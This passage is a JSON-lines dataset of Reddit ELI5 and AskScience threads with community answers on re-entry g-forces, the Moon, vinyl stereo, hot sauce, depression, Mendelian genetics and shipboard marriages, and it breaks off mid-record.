{"q_id": "9nen5g", "title": "explain \"ballistic re-entry\" and why it causes 7g of force", "selftext": "If the recent space launch failure had to do a \"ballistic re-entry\" wouldn't the astronauts have been weightless as it fell?   Why were they subjected to 7G of force - and in which direction?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9nen5g/eli5_explain_ballistic_reentry_and_why_it_causes/", "answers": {"a_id": ["e7lpex8", "e7lrssn", "e7m0peb", "e7m4mtn", "e7m4pqz", "e7m5l1v", "e7m6b14", "e7mc47e", "e7mghre", "e7mi28b", "e7mqvsx", "e7mtv5b", "e7mvk26", "e7nmvq9"], "score": [47, 10, 2223, 2, 70, 3, 572, 28, 78, 2, 2, 2, 2, 2], "text": ["During re-entry, the 7G forces are in the direction opposite of gravity. It is the force of deceleration caused by entering the atmosphere.\n\nAll of the sudden friction from traveling through the air causes the spacecraft to slow down and that is the force that cause the 7Gs.", "Ballistic re-rentry in means an object follows a pure ballistic trajectory, which means the only forces acting on the object are forces involved are gravity and aerodynamic forces. It's what happens when you throw an object up in the air. In the context of the Soyuz MS-10 abort, nominally, the Soyuz uses a lifting reentry, where the capsule maintains an attitude (using small thrusters) that allows it to have a small amount of \"glide\", which allows it take a shallower reentry trajectory. This has the benefits of reducing G-loads (normal is a peak of about 4.5G, while today was 6.7G) and allowing the spacecraft to target an exact landing site. \n\n & #x200B;\n\nAs for the g-forces, no, astronauts are not weightless at any point where there's acceleration, and that's what Gs are. If you've ever been on a roller coaster, you know that you're not weightless when the cars go down the hill. It's the same thing. The spacecraft is slowing down from thousands of km per hour to just a few km per hour. It's the same as when you brake in a car suddenly and you fly forward, except the magnitude is much smaller. ", "Space nerd here.\n\nDuring normal re-entries from Low Earth Orbit (LEO), most spacecraft enter the atmosphere mainly horizontally, so they slowly encounter the thicker portions of the atmosphere, which greatly reduces the g-forces, or deceleration (1g = 1x Earth gravity acting on you, so 7g = 7x Earth gravity).\n\nWith a ballistic re-entry, one of which occurred early today after the Soyuz MS-10 failure and subsequent abort, they re-enter the atmosphere more vertically, although still with some horizontal velocity. Since they hit the thicker parts of the atmosphere quicker and more head-on, the deceleration and g-forces are more extreme.\n\nImagine side-scraping a wall in a car, you'll get some big scratches and dents, but it would be a lot tamer than hitting it head-on.", "\"Ballistic\" simply means \"unpowered,\" so the ship is just coasting into the atmosphere.\n\nThat said, you're still decelerating from about 7km/s to less than .5 km/s (roughly the speed of the ground at the equator), which is a pretty intense stop, if you think about it.", "During the NASA press conference they said the booster failure happened at 50km altitude.  Space starts at 100km.  So they were not in orbit yet and there was no re-entry.  The capsule landed 400km downrange after 34 minutes. It was my understanding from the press conference that the 6.7g was experienced at the moment of booster failure when the emergency escape engines fired and pulled the capsule off the top of the rocket.  The emergency escape system is very powerful because it must outrun an already accelerating, and possibly exploding, rocket.", "It's similar to when you dive off a diving board and you hit the water and feel a force due to sudden deceleration from drag when you leave the relatively low density of the air hit the higher density of water.   When they re-enter the atmosphere, they go from the essentially non existent drag of space, to the drag of the atmosphere.\n\nThe reason the capsule feels that drag is because the force due to drag is proportional to the density of the medium (which is pretty low for the atmosphere, yet still higher than a vacuum, but pretty high for water, which is why you feel it when you dive), times the velocity squared (which was extremely high for the capsule).\n\nThe reason they feel more force at the steeper angle is that the velocity component normal to the atmosphere is more with the steeper angle than with a more traditional shallower angle.  The traditional shallower angle has more velocity tangential to the atmosphere.", "In order to go to space you have to get moving really really fast. The space station they were heading to is moving at nearly 5 miles a second. That's about 300 times faster than a car on the freeway. \n\nIn order to come back to earth (alive) you have to get rid of all the speed. It takes a giant rocket to get up to that speed and it would take a giant rocket to get rid of it. That's a problem because launching a big rocket takes an even bigger rocket. \n\nThankfully there is a way to cheat. You can use the atmosphere to slow down. If you've ever flown a paper airplane or a glider you've experienced this. The air gets less thick the higher you go so at the top of the atmosphere you will only have a little slowing down while near the surface things will slow down quickly. \n\nPeople cannot feel speed but we can feel a change in speed. That is what g forces are. A change in speed. One \"g\" is equal to the force we feel from gravity. So a spacecraft entering the upper part of the atmosphere will only feel a small force. On the other hand, the thicker air in the lower atmosphere will create a large force. Generally spacecraft enter the atmosphere at an angle that allows them to slow down nice and slowly through the upper atmosphere. In this case though they couldn't do that. So it hit the thicker part with a lot more speed than normal. That meant they slowed down very quickly and the crew experienced that as high g forces.  ", "Hey this is related to my thesis. Others have done a good job answering but I\u2019ll give it a go too. Basically, ballistic reentry is uncontrolled flight with no lift like a bullet. Literally it\u2019s just falling out of the sky. However, the Soyuz and basically every other entry vehicle  are shaped and packed in such a way that they generate a small amount of lift (upward force). During a normal entry, the direction of the lift can be controlled by rotating the vehicle about the velocity vector (direction of flight) using Reaction Control System (RCS) thrusters. This is known as bank angle control. You can control how far down range (forward)  you go by changing how \u201cup\u201d the lift vector is and cross range (left/right) by doing a bank reversal to change whether the lift vector points left or right. This is how Mars Science Lab landed so precisely compared to previous missions.\n\nBy controlling the vehicle, you can chose a trajectory that glides more, slows down slower (less peak deceleration), and impacts with a shallower angle. In uncontrolled (ballistic) flight you generate no lift and are basically just falling out of the sky, generating a higher peak deceleration. Normally ballistic is the worst case trajectory that you can do but if a problem is encountered, it\u2019s the fail safe because it\u2019s the simplest.", "Hmmm, most of these are good explanations, but not explaining it to you like you're 5.\n\nThe spacecraft is like a pebble, and the earths atmosphere is like the surface of a pond. Normal re-entry is like a well skimmed pebble, it approaches the pond surface at a very low angle, causing it to rub off the surface of the pond over a period of time, gradually losing speed until it gently drops into the water.\n\nA ballistic reentry is like taking the same pebble and throwing it as high as you can above the pond with an under-arm throw. It goes up, then comes more or less straight down and hits the water hard. If you were underwater you'd see that the pebble slows down almost instantly, then gently drops to the bottom of the pond. That *instant* slowdown would be experienced as very high g-forces, both for a pebble entering a pond and a spacecraft entering the atmosphere. ", "I think the easiest answer would be:\n\n & #x200B;\n\nLets say that a pod from the ISS will be doing a ballistic re-entry, we gotta somehow get that 17,000 mph pod close to 0 mph before it hits the ground. That deceleration is where the 7g comes from.", "Ballistic reentry is where speed and direction are governed by the kinetics of the launch system and not by flight control. Ballistics are aimed not controlled.", "Imagine you drove your car into a lake. You're not going to slam to a stop all at once, but you are going to decelerate very rapidly, as your car goes from driving through relatively less dense air to relatively more dense water. You might feel 2, 3, maybe 4 Gs pulling you forwards into your seat belt (or the steering column if you're a dumdum who didn't buckle up) for a just a second or two.\n\nSame thing here really. The vehicle is traveling through near vacuum at a fairly high speed. It descends into the atmosphere, and slows down as it has to plow through denser and denser air. The astronauts feel the force of 7Gs pulling them back into their seats (they're basically facing backwards during this time) as the vehicle decelerates. The main difference is, they're going to feel this deceleration for several seconds, maybe even minutes", "First, most of the velocity when going to orbit is sideways, not vertical.  [Relevant XKCD](_URL_2_)  \n\nThe earth's atmosphere is not constant from the ocean up to space, it gets less dense (thinner) as you go up.  Imagine a swimming pool filled with thin layers of thick jello, runny jello, water and then whip cream on top.  Besides being delicious, this is an analogy for the atmosphere.  If you shoot a bullet straight down, it may be able to smash into the bottom of the pool, if you shoot a bullet at a low angle, the different layers will gently slow the bullet.  Now imagine if you could very slightly control the bullet's path in flight.  \n\n[Diagram of controlled descent vs ballistic descent](_URL_1_)  \n\nBallistic descent is just letting the capsule fall/fly on it's own, which will point the heat shield towards the direction of travel.  Unfortunately if the capsule is moving near orbital velocity, the atmosphere will drag the capsule down into the thicker atmosphere too quickly, which will cause excessive  &  very fast slowing, which equates to very high forces on the crew (G-load).   \n\nIn a controlled descent, the capsule is \"flown\" to generate a little bit of lift, slowing the descent from the upper, thinner atmosphere to the lower, thicker atmosphere.  I believe it is done with center of gravity changes to \"lean\" the capsule into the wind and generate a bit of lift.   \n\n[Under normal flight conditions, the Descent Module enters the Earth's atmosphere under an angle of 1.35 degrees toward the local horizon, at an altitude of around 100 kilometers above the Earth's surface. By maintaining its correct pitch angle, the capsule can generate some aerodynamic lift, which makes the return trajectory less steep and subjects the crew members to less g-loads than those they would experience in a ballistic descent.](_URL_0_)  \n\n", "At human falling speeds, water can hit you like a hammer.  At space ship re-entry speed, air can hit you like a hammer.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], ["http://www.russianspaceweb.com/soyuz-landing.html", "https://i.stack.imgur.com/rGjeh.jpg", "https://what-if.xkcd.com/58/"], []]}
{"q_id": "4guhn2", "title": "what makes them so sure there nothing of worth on the moon?", "selftext": "Why no rover on the moon?Have they explored below the surface? Why are there better pictures of the mars surface than moon which much nearer? Im not saying they never went but there a lot of questions surrounding the moon.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4guhn2/eli5what_makes_them_so_sure_there_nothing_of/", "answers": {"a_id": ["d2kskcy", "d2kt5rq", "d2kxo5d", "d2l38l9", "d2l5pp6", "d2l67mx", "d2lcutg"], "score": [8, 4, 4, 2, 3, 8, 2], "text": ["There is stuff of worth up there. I recall reading about Helium3 in particular, and that if the surface of the moon had gold bars littered all over the place, it wouldn't be worth going, but H3 is worth the effort. The rocks are full of raw materials ready to be either shipped home to Earth or used right there. Furthermore, in order to make rocket fuel, air, water and the like for any moon base, then the water locked in the hydrates will prove very useful, and could enable the moon to be a stepping stone to the rest of the System. On Earth, many cities have their origins by convenient river crossing places, or trade routes etc. Imagine the Moon and a possible base there, to be the start of just such a place. Fuel water, not too far from home, easier to climb out of the gravity well though. Yep, the moon is a good place to go next. Practice some of this interplanetary shenanigans and make plans for the long haul. ", "It is largely accepted that the moon was formed by a mars sized body (a protoplanet) crashing into the Earth and expelling enough matter from the Earth to lump together and form the Moon. Thus the moon is made from basically the same stuff as the Earth - just without an atmosphere and without tectonic movements and well, biology, to evolve it over time.\n\nThere's not much really interesting to its composition - we can basically dig down on the Earth and find the same kind of stuff. The interesting stuff about the moon can mostly be gleamed by looking at it - i.e. it is interesting because it shows how many asteroid impacts it's had in its lifetime - something that the Earth must have had swell but most evidence of which has long been scrubbed away by tectonic movement and nature. I guess you could also say that the moon's relatively high amounts of Helium-3 compared to the Earth could be interesting (and is the basis of a plethora of sci-fi stories that talk about mining the moon for fusion fuel) but again, that can be looked at through telescopes, in lunar rocks already collected on the moon or lunar meteorites.", "I'm guessing you're asking how we know the elemental composition of the moon? So how we know there are no rare elements or anything? \n\nFor that we've extensively used light spectrometry to decipher what elements the moon (and many other planetary bodies) contain.\n\nAs far as no rovers or continuing missions to the moon, the truth is that we've accomplished it and its time to move on. Space travel is just as much innovation for earthly technologies, so challenging ourselves to new goals is advantageous and one of the cornerstones of deep space travel. A better challenge for us right now is sending manned missions to Mars, or sending satellites in far orbit in our own solar system or even outside our solar system. ", "Fine I'll say it...  \n\nWe knew the moon was probably just a rock the first time we went...but we still did it, it wasn't about finding anything useful...it was about the indomitable will of humans to explore new lands.\n\nThe idea that continued exploration and even colonization of another planetary body is \"pointless\" just doesn't make any sense to me.  We traversed and explored an extremely small portion of our moon.  It's kind of like getting to a new land, seeing a beach, and turning around saying \"looks like there's just sand here, let's head back boys\".\n\nTo me, this rationale sounds like that of a child who tells you he can dunk a basketball.  When you ask to see the feat he tells you no.  When you ask why he won't do it again he says \"because I don't want to, I already did it and it's boring now, you're just gonna have to trust me on this one\".\n\nAlmost 50 years later it would be orders of magnitude cheaper and easier and safer to get to the moon, 50 years later we have instruments that are so much smaller, batteries that last so much longer, technology which is so much cheaper...but \"it's boring now...sorry folks, just gonna have to trust us on this one\".\n\n\n", "Going to the moon is expensive. And that's when most of the equipment and fuel we're sending only makes a one-way trip. To bring stuff back we need to send more fuel, which needs to make its *own* two-way trip, and we need to bring the actual *stuff* back which is just astronomically more expensive, for so many reasons. \n\nSpaceX has recently [been able to launch stuff into orbit for less than $1000 per pound](_URL_0_) and that's many times easier than getting it to the moon let alone *also getting it back*. Can you think of many things worth $10,000 a pound, or more? Keep in mind, most super expensive stuff is manufactured not just dug out of the ground, so there's no imaginable reason it would be on the moon. ", "When it comes to the Moon vs. Mars, the Moon is;\n\n1. An incredibly hostile environment.  In summertime on Mars temperatures might fluctuate between 70 degrees F in the day and -100 F at night, compared to the moon where temperatures are like 250 F in the daytime and -250 F in the nighttime. Moon dust is basically like ground glass and it's statically charged and will stick to anything. The Soviets sent a couple of rovers that were built like fucking tanks and had nuclear powered heaters to keep them alive during the lunar night, and they lasted a couple of months on the surface.  The Chinese recently sent one that used more modern technology but wasn't nearly as robust and it made it like 30 days or so before it was immobilized.   The Opportunity rover landed on Mars 12 goddamn years ago and is still running. \n\n2.  Kind of boring.  There are all kinds of interesting questions about Mar's geology and history.  The Moon has some interesting questions associated with it but not nearly so much.\n\n3. Not that much easier to get to.  The hardest part with any space mission is getting from the Earth's surface up into orbit.  If you're willing to go about it in the most efficient way getting to Mars takes a lot longer but the difference in energy required to get there vs. the moon is pretty minimal. \n\n\nFor basically the same amount of money you can send a rover to the boring place that will kill the rover very quickly, or the interesting place where the rover could last for years.  That choice is pretty easy to make. ", "There are lots of valuable minerals on the moon.  The problem is that shipping and handling is outrageous.  America is currently waiting for Amazon Prime to extend their service to there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.buildtheenterprise.org/spacex-breaking-the-1000-per-pound-launch-cost-barrier"], [], []]}
{"q_id": "7p534h", "title": "Looking at how stereo is implemented in vinyl records, it would seem very hard to get two entirely independent channels. Is that one of the things that makes the \"vinyl sound\"?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7p534h/looking_at_how_stereo_is_implemented_in_vinyl/", "answers": {"a_id": ["dsf162m", "dsf1px6", "dsf3rh7", "dsf6gid", "dsf8i7p"], "score": [311, 7, 38, 12, 17], "text": ["A single channel record works by having one axis of modulation; the groove moves the needle back and forth and the needle follows, creating an electrical signal.\n\nFor two channels, as you would have with stereo sound, you need two axes of modulation. You could have one axis moving side to side and one axis moving up and down. The problem is that the vertical axis would be more prone to distortion due to the limited range (i.e., the needle can move further left to the right than it can up and down).\n\nThe compromise is that the two needles are turned 45 degrees, so that the point at which they meet is the needle tip. This way, they can have two axes, while still taking advantage of the greater horizontal space (the axes will *both* move up and down and left to right).\n\n[This link](_URL_0_) has a really good animation of what it looks like.", "It\u2019s a design limitation/ something to consider when making a record, but that\u2019s why any song is mixed with mono compatibility in mind, so that anywhere between no crosstalk and full crosstalk (mono), it should still sound good. I don\u2019t think anyone gets particularly excited about the crosstalk when talking about the sound of vinyl. \n\nThere is also some crosstalk between channels in many devices like stereo preamps, amplifiers, phones even. It\u2019s usually there in some amount when listening to music.", "The \"vinyl sound\" isn't really a hard science. Vinyl is an imperfect transfer of signal to electricity and is in my mind the reason for the \"vinyl sound\". /u/Soloandthewookiee gave a pretty good explanation of how the channels are separated, and it works pretty good, but given that physical contact is needed to transfer the signal to electricity, there is always going to be slight distortion in vinyl.", "The \"vinyl sound\" results from a combination of many different factors, but the main thing you need to be familiar with is second order harmonic distortion, the same thing responsible for the \"warmth\" associated with vacuum tube amplifiers.\n\nVinyl records don't have two entirely independent channels. Even super high end phono cartridges only have a channel separation of around 30dB, whereas digital formats have a channel separation of 90dB and greater, depending on the DAC.\n\n", "More important is the mono bass below 250Hz and the distortion it creates, along with slight wow and flutter. It is more \"alive\" since it in small amounts \"all over the place\", the signal never repeats exactly the same way. Then is the bandwidth that stops bass below 40Hz and anything useful above 15k, forcing a bit \"tighter\" mix. And last comes dynamic range, useful range being somewhere in the 30-40dB range, thus forcing differently crushed mastering and mixing, using lots of saturation rather than aggressive peak limiting that is possible in digital.\n\nThere is way less room in every direction and it forces limits on the material. It is totally about preferences, there are ways of getting that vinyl sound without using a single analog device, all it takes is that audiophiles accept deliberately colorized processing. Which they don't, it has to be done in a sort of Rube Goldberg way: by using technically inferior format and then trying to do their best to salvage as much as it is possible.. Instead we could start from super dynamic source and apply the limitations and mistakes vinyl does. The difference in price is about 20$ vs 20 000$."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.vinylrecorder.com/stereo.html"], [], [], [], []]}
{"q_id": "6k2kos", "title": "Is a hot sauce only going to be as hot as the spiciest ingredient?", "selftext": "I understand the heat of a pepper is determined by the capsaicin concentration, but some companies promote their hot sauce by explaining it's a blend of multiple peppers. Wouldn't the sauce only be as hot as the hottest ingredient?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6k2kos/is_a_hot_sauce_only_going_to_be_as_hot_as_the/", "answers": {"a_id": ["djivljt", "djjc7xo"], "score": [18, 2], "text": ["Yes. The spiciness will only be determined by capsaicin concentration. But people also like the consistency and taste of their hot sauce. Different peppers have different tastes. So blending certain peppers together will taste better than just a jar of pure capsaicin.", "There is much more to the taste a of hot sauce than the amount of \"heat\".   Capsaicin provides the heat but, other ingredients/components provide lots of other flavor subtleties. So the blend makes perfect sense. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "a3jxn7", "title": "why is it so hard to take care of yourself when you are depressed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a3jxn7/eli5_why_is_it_so_hard_to_take_care_of_yourself/", "answers": {"a_id": ["eb6ucvh", "eb6vnsa", "eb6w7kb", "eb70d77", "eb70mdh", "eb77az7", "eb7lgvt"], "score": [49, 11, 40, 3, 7, 2, 2], "text": ["They said they removed my post the basic answer is due to your depression you just don't care what happens to you. You don't want anything bad or good to happen you just exist. So it's hard to put any energy towards anything sometimes even your survival.", "Im pasting this from a previous similar post I answered about anxiety as well as depression:\n\n\nSpeaking from personal experience here, those conditions can have severe damage on having a routine, and they also change how you feel about yourself. \n\nAnxiety can make you overthink things, lose sleep, and just make it hard in general. Just as an example, imagine me with anxiety, I feel so overwhelmed I feel like I dont have time to make myself healthy food, maybe I will forget to brush my teeth, and I cant even think about sparing time to work out. These are just little examples. When my anxiety is bad, I feel like I'm racing against the clock and every little task I do is a speed bump and they stack up quickly, making me very stressed and overwhelmed. \n\nDepression is a whole different beast. Getting out of bed in the morning? Forget about that, I feel like the scum of the earth and I dont want anyone to even see me. With depression, if it is severe, sometimes you are entirely unable to care about your appearance. I am already slightly overweight, but when I had a long bout of severe depression, i gained 30 pounds, wasnt eating very much, couldn't bring myself to even shower more than twice a week, and rarely trimmed up my facial hair. \n\nBoth of these have one thing in common for me: I spent so much time trying to conquer my thoughts, that I didnt even think about how the lack of effort/motivation changed my appearance and physical health completely. \n\nTLDR: Coping with either or both of these conditions can be enough for you to not care/not feel like you have time to keep up with that. \n\n", "Neuroscience answer: It\u2019s also important to know that serotonin is the neurotransmitter in your brain that lets you know your body is doing okay. It has affects on things like hunger, digestion, sleep patterns, mood, memory, etc. When you\u2019re depressed, you have low serotonin levels in your brain. When that happens, you aren\u2019t being alerted properly that you have needs like taking care of yourself by eating and sleeping. In addition, these imbalances can also lead to imbalances with other neurotransmitters, particularly dopamine which is in charge of motivation, impulse, concentration, movement, etc. All this combined helps to explain why people who are depressed struggle so deeply to do necessary, relatively easy everyday activities. ", "It's not neccesarily hard to do from a momentary perspective. it's just difficult to get the thoughts in your mind to line up so that you care at all about doing it as often as you should. Most of the time while depressed I can get myself to do occasional scattered  things, but it's very very difficult to to consistently care about maintaining myself up to  standards I would have if I weren't depressed.  This usually results in me expending my limited motivation on the bare necessities I need in order to function. Any individual task I can complete just fine, but when I dont care about being alive I just dont cRe whatsoever to attempt it.\n\nIts flawed thinking of course so it's never going to make 100% sense, but that's how it feels to me. Why would I do the dishes when I dont care if the world crumbles around me. It all seems like it feels the same no matter what I do (which I know isn't th4 case but I can't always make myself believe it), so I just do whatever is physically comfortable when I'm at my worst. Its hard to not fall I'll into that trap of poor thinking when your emotions aren't firing correctly to motivate you to do things that improve your position in life.", "Taking care of yourself now involves exerting effort for an improved future, which the feel of futility towards is both a symptom and cause of depression. Also the immediate consequences for hygiene are almost entirely social, so they're not going to be immediately compelling.\n\nA tid-bit on why it feels the way it does: if you have people near you that you've relied on in the past to take care of you when you're feeling down, you will likely feel sadness and loneliness as a reaction (as a mechanism to drive you towards people that can help.) If you've mostly relied on yourself historically, and retreat from others instead when you're in the thick of it, then you'll feel more self-defeat, pity and apathy instead. The difference is a sort of outward vs inward expression of your problems.\n\nDuring these times you may use some powerful imagery to cause further stress. Thinking about what other people would think if they saw you in your current state will bring you down more. Shame is a very powerful emotional tool that you may use on yourself. You might even think about all the people that have \"real\" problems and manage to do just fine. Sort of 'celebrated victims' of illnesses like cancer, and how brave they are for surviving when you are huddled in a corner having a crisis over some dirty laundry.\n\nIt's pretty common to use manipulation techniques against yourself in order to create an emotional peak of distress. This can be a survival tactic used by those who were motivated through guilt and shame in the past to get things done. You might be whipping these tools out when you feel they're necessary because of having fallen into a low energy state. Think of it as trying to build some momentum, and think of some other ways that are less self destructive, such as positive reinforcement. This takes time and advance investment in building habits though, not helpful in the moment of crisis, but can prevent things from getting so dire in the first place.", "Simple answer: it just doesnt matter to you at the moment.\nWhen i had my exams last summer and went into a deep depressive episode i remember just staying in bed and telling to myself \"you HAVE to study you freaking moron\" but i couldnt get myslef to get up because of the feeling that \"it dont matter im a freaking loser anyway\" ", "ELI5: People are good at ignoring stuff they don't care about.\n\nWe are generally very good at sifting information and throwing out unimportant information. If you've even been \"in the groove\" you know that keeping track of time is easily ignored in favor of working on the task at hand because it's not as important as what you are doing. It's just more noise attempting to get your attention.\n\nDepression can cause a similar situation despite acting in a nearly opposite way. Things that don't matter aren't very important and depression is often a giant ball of \"it doesn't matter.\" Instead of not doing something because it is not important, relatively speaking, you can ignore something because it doesn't seem important at all.\n\nNot all needs are created equal. Things like laundry, bathing, or homework might not be as able to escalate themselves as the needs for food, water, and sleep.\n\nTaking food as a particular example, eventually the need to eat can grow until it does meet that minimum level of importance but by that point  between the strong hunger and general apathy of depression most people just want to eat something immediatly. This leads to infrequent, unbalanced, possibly overly large meals with little to no schedule. This wrecks all kinds of havock including weight loss, weight gain, disruption of sleep patterns, and even possibly supporting the root depression. From there we have a negative feedback loop which is one of the most dangerous parts of depression, and one of the most essential to break in order to begin recovery.\n\nThis is why the best advice for recovering from or living with depression usually involves a strong healthy routine of sleep and healthy balanced regular meals. Regular exercise is another important one for possibly even more reasons, both physical and psychological."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "jguij", "title": "If Mendel's pea plants disproved gene mixing, why do certain traits like height or skin color appear to blend in humans?", "selftext": "For the record, all I know about this I learned from freshman biology, so feel free to treat my like I'm stupid.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jguij/if_mendels_pea_plants_disproved_gene_mixing_why/", "answers": {"a_id": ["c2bz8q0", "c2bzgtj", "c2c0w9o", "c2c0xcp", "c2c1epg", "c2bz8q0", "c2bzgtj", "c2c0w9o", "c2c0xcp", "c2c1epg"], "score": [64, 17, 3, 17, 2, 64, 17, 3, 17, 2], "text": ["Because height and skin color are determined by more than one gene. So you can have few \"tall genes\" and a few \"short genes\", and the resulting height lies somewhere in between.", "Part of it is that you have what's called \"co-dominance\".  For a skin color [example](_URL_0_):\n\n >  Let's say (to really simplify things) that skin color is determined by a couple of co-dominant genes: A and B. Someone with aabb alleles will be pure white, someone with AABB will be very dark, while someone with AaBb will be somewhere in the middle.  Let's say the aabb person breeds with the AABB person; all their children will be AaBb. So far so good - we're getting more uniform. But if the AaBb person breeds with another AaBb person, a eighth of their kids will be very white (aabb), an eighth will be very dark (AABB), and the rest will be varying shades (Aabb, aaBb, AAbb, aaBB, AaBb, AABb, AaBB).", "height and skin color and the majority of human traits are not mendelian and don't assort or segregate like mendelian traits", "Most traits are affected by a metric fuck-ton of genes; Mendel was pretty lucky to come across 7 (I think) of those that have a nice crisp linkage to just a single locus (gene). He specifically picked them out (not knowing about the genes, of course) because they supported his ratios. Usually traits that act that way are a result of a gene malfunctioning non-lethally but producing an 'interesting' phenotype to us, rather than just something breaking in a boring way. It is pretty much *that* subjective ;-)\n\nIn a plant genetics course we actually got to read a genetics paper from the 90's explaining Mendel's smooth-wrinkled seed coat phenotype. Basically, the wrinkled coat is a slightly deleterious mutation resulting from the knockout (or just messed up activity) of a starch-related gene screwing up the development of the seed contents, resulting in lower volume of storage material (But somewhat proper formation of the coat itself), giving the pea a wrinkled appearance. (I think it was [this paper](_URL_0_), but there's plenty of follow up, although biochemical and thus not easy to read...). If I recall, molecular explanations like that have been found for several of Mendel's traits.\n\nBut typically messing with one gene affects multiple pathways, and a single trait is affected by further different pathways and genes. Eg, height can result from a deficiency in, say, growth hormone production (disclaimer: not a zoologist), or a gene modification slightly stunting bone growth, but not enough to cause visible deformities. These mutations would also affect other traits though (term for this is pleiotropy), for example this hypothetical slight growth hormone deficiency resulting in, I dunno, oddly shaped hands. The genetic developmental pathways are so incredibly interlinked it becomes hard to separate out just one linear gene pathway, so that's why Mendelian single-gene-single-trait scenarios are extremely rare...", "This video doesn't go real indepth about co-dependent genes, but is a nice history on those who figured out the rules of the puzzle:\n_URL_0_", "Because height and skin color are determined by more than one gene. So you can have few \"tall genes\" and a few \"short genes\", and the resulting height lies somewhere in between.", "Part of it is that you have what's called \"co-dominance\".  For a skin color [example](_URL_0_):\n\n >  Let's say (to really simplify things) that skin color is determined by a couple of co-dominant genes: A and B. Someone with aabb alleles will be pure white, someone with AABB will be very dark, while someone with AaBb will be somewhere in the middle.  Let's say the aabb person breeds with the AABB person; all their children will be AaBb. So far so good - we're getting more uniform. But if the AaBb person breeds with another AaBb person, a eighth of their kids will be very white (aabb), an eighth will be very dark (AABB), and the rest will be varying shades (Aabb, aaBb, AAbb, aaBB, AaBb, AABb, AaBB).", "height and skin color and the majority of human traits are not mendelian and don't assort or segregate like mendelian traits", "Most traits are affected by a metric fuck-ton of genes; Mendel was pretty lucky to come across 7 (I think) of those that have a nice crisp linkage to just a single locus (gene). He specifically picked them out (not knowing about the genes, of course) because they supported his ratios. Usually traits that act that way are a result of a gene malfunctioning non-lethally but producing an 'interesting' phenotype to us, rather than just something breaking in a boring way. It is pretty much *that* subjective ;-)\n\nIn a plant genetics course we actually got to read a genetics paper from the 90's explaining Mendel's smooth-wrinkled seed coat phenotype. Basically, the wrinkled coat is a slightly deleterious mutation resulting from the knockout (or just messed up activity) of a starch-related gene screwing up the development of the seed contents, resulting in lower volume of storage material (But somewhat proper formation of the coat itself), giving the pea a wrinkled appearance. (I think it was [this paper](_URL_0_), but there's plenty of follow up, although biochemical and thus not easy to read...). If I recall, molecular explanations like that have been found for several of Mendel's traits.\n\nBut typically messing with one gene affects multiple pathways, and a single trait is affected by further different pathways and genes. Eg, height can result from a deficiency in, say, growth hormone production (disclaimer: not a zoologist), or a gene modification slightly stunting bone growth, but not enough to cause visible deformities. These mutations would also affect other traits though (term for this is pleiotropy), for example this hypothetical slight growth hormone deficiency resulting in, I dunno, oddly shaped hands. The genetic developmental pathways are so incredibly interlinked it becomes hard to separate out just one linear gene pathway, so that's why Mendelian single-gene-single-trait scenarios are extremely rare...", "This video doesn't go real indepth about co-dependent genes, but is a nice history on those who figured out the rules of the puzzle:\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/askscience/comments/iv5kl/will_all_races_and_ethnicities_eventually/c26vtkp"], [], ["http://jxb.oxfordjournals.org/content/46/4/415.short"], ["http://www.youtube.com/watch?v=azHCd9c59KU"], [], ["http://www.reddit.com/r/askscience/comments/iv5kl/will_all_races_and_ethnicities_eventually/c26vtkp"], [], ["http://jxb.oxfordjournals.org/content/46/4/415.short"], ["http://www.youtube.com/watch?v=azHCd9c59KU"]]}
{"q_id": "2778v9", "title": "if a captain of a boat can marry people at sea, why don't gay people all get married on boats in international water?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2778v9/eli5_if_a_captain_of_a_boat_can_marry_people_at/", "answers": {"a_id": ["chy15zh", "chy1kg1", "chy2bqz", "chy2o2u", "chy2ubd", "chy60uh", "chy70ab", "chy8lvl", "chy9fyf", "chy9r78", "chycd60", "chycknh", "chyd78b", "chydkq7", "chyj83o", "chykq5p", "chylaav", "chyo8z1"], "score": [90, 656, 25, 7, 47, 10, 2, 5, 3, 2, 2, 3, 2, 2, 2, 2, 2, 5], "text": ["Ships captain's can't, simply by virtue of their captaincy, marry people legally.\n\nAlso, a large part of the struggle for marriage rights is legal recognition of those marriages, and the benefits that entails. If a state does not recognize gay marriage, then the fact that you were legally married by someone who does, still provides you no benefit. You are unmarried in the eyes of that political/legal body. ", "I'll explain by analogy:\n\nLet's say you have a child, and you have made a rule that his bedtime is 9 PM. As the governing body of your house, you can unilaterally set rules. \n\nNow, imagine your child goes over to his friend's house. While he's there, he gets his friend to declare that the 9 PM bedtime no longer applies to him.\n\nAre you likely to recognize the authority of your kid's friend, when he gets back home? Is there any reason for you to change the bedtime rule, just because someone \"declared\" an exemption, outside of your house?\n\nOf course not.\n\nYour kid's friend is free to say whatever he wants, but once your child is back home, none of it meant anything. Nothing about the rule in your house changed.", "The wedding ceremony isn't what makes you and your partner married. It's the paperwork you fill out at the local courthouse courthouse.", "Same reason people don't just go to countries where same sex marriage is legal and just go home after.\n\nAlso, captains can't actually marry people any more, (IDK if they ever actually legally could) so they would never really be married.\n\nOn top of that, it would be pointless anyway if the marriage wasn't recognised in their home country because it would have changed nothing for them. ", "[The captain performing weddings thing is a myth](_URL_0_)", "Oh but we are. Slowly, but surely, all us gays are turning into boat people. One by one, the sea-going vessels of the world disappear. Whispers of mysterious ocean gays grow into rumors of glorious fag-pirates... *on the high seas!* Generation after generation, our homosexual flotilla grows in hatred of the *Land Breeders* who exiled us to a harsh life at sea. Soon, the cruise ships and fishing vessels and container cargo ships will see our 